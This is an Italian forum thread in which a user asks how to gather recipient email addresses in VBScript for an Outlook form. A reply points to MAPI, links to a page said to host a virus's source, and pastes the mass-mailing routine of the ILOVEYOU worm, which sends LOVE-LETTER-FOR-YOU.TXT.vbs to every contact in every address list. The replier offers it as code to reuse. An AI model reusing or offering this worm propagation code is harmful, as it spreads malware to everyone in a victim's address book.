[VB6/VBS] Recuperare l'indirizzo email degli utenti connessi ad una rete

[andreaciao_22]

salve a tutti,

vorrei sapere come posso fare a recuperare, via programma, tutte le email di un utente specifico... è possibile fare cio????

[alka]

Con quale linguaggio?

[andreaciao_22]

vbscript o vb

[daniele_dll]

dai qualche dettaglio in più ... e spiegati un po meglio perché la domanda non è proprio chiarissima

[alka]

Originariamente inviato da daniele_dll
dai qualche dettaglio in più ... e spiegati un po meglio perché la domanda non è proprio chiarissima

Quoto.

[andreaciao_22]

sto facendo un modulo in outlook....

se un utente modifica un dato nel modulo il mio programma manda un email a tutti gli interessati... il problema è che non deve mandare nulla a chi ha modificato il modulo... capito???

[daniele_dll]

in pratica a te interessa accedere al componente COM esposto da outlook e leggere la rubrica, giusto?

ovvero devi usare le MAPI

dai un occhio a un po di questi link
http://www.msexchangefaq.de/code/mapicdo.htm


qui c'è il codice sorgente di un veccchiiisssssiiiimmmmooooo virus
http://www.kachafackers.galeon.com/code.htm

dai un'occhio a questo spezzone di codice

sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub

in buona parte fa quello che ti serve ^^